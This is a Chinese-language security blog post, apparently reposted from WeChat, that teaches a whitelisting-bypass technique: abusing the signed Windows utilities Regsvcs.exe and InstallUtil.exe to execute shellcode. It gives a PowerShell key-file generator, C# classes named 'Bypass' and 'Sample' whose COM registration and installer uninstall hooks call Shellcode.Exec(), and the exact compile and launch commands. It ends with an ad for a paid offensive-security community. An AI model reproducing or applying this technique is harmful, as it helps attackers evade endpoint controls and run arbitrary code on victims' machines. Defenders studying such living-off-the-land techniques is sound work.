.NET 分享两个白名单程序加载shellcode
2023-11-6 08:36:31 Author: dotNet安全矩阵(查看原文) 阅读量:14 收藏

Regsvcs.exe 是一个Windows命令行程序,位于C:\Windows\Microsoft.NET\Framework\v4.0.30319\ 目录下,通常用于将.NET程序集注册到COM+中,便于将来在COM+事务处理中被调用

密钥

因为.NET 强名称程序集需要通过一个密钥文件才能生成,因此首先需要使用PowerShell创建一个密钥文件key.snk,具体内容如下

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtLlsSJyuICplrCTPGGrFnLNiHfVjNi53Yg4='$Content = [System.Convert]::FromBase64String($key)Set-Content key.snk -Value $Content -Encoding Byte

使用 Set-Content 将字节数组 $Content 保存到名为 key.snk 的文件中。如下图所示

程序集

.NET实现一个COM组件时需要继承ServicedComponent类,同时还包含了两个特殊的方法,这两个方法是用于在COM对象的注册和注销期间执行shellcode

public class Bypass : ServicedComponent{        public Bypass() { Console.WriteLine("I am a basic COM Object"); }        [ComRegisterFunction] //This executes if registration is successful        public static void RegisterClass ( string key )        {            Console.WriteLine("I shouldn't really execute");            Shellcode.Exec();        }                 [ComUnregisterFunction] //This executes if registration fails        public static void UnRegisterClass ( string key )        {            Console.WriteLine("I shouldn't really execute either.");            Shellcode.Exec();        }}

运行命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll ,添加regsvcs.dll文件到COM+服务,注册时进入RegisterClass方法,触发shellcode执行弹出计算器。如下图所示

InstallUtil.exe 是一个用于安装和卸载.NET Windows服务或托管组件的命令行实用工具,建一个Sample类,继承自 System.Configuration.Install.Installer

public class Sample : System.Configuration.Install.Installer  {      public override void Uninstall(System.Collections.IDictionary savedState){      Shellcode.Exec();        }      }

首先使用csc编译成 .NET 可执行文件,运行命令C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe InstallUtilcs.cs,这里是输出为 "exeshell.exe",接着使用InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe 成功触发shellcode执行,如下图所示

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需129元就可以加入我们。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247489277&idx=1&sn=ac907df6638d184c4bc6ff6b1ac41c37&chksm=fa5ab810cd2d3106137344c57099fd941f4d0c5312c38dbfc3d87c99dae59af8084c91785374&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh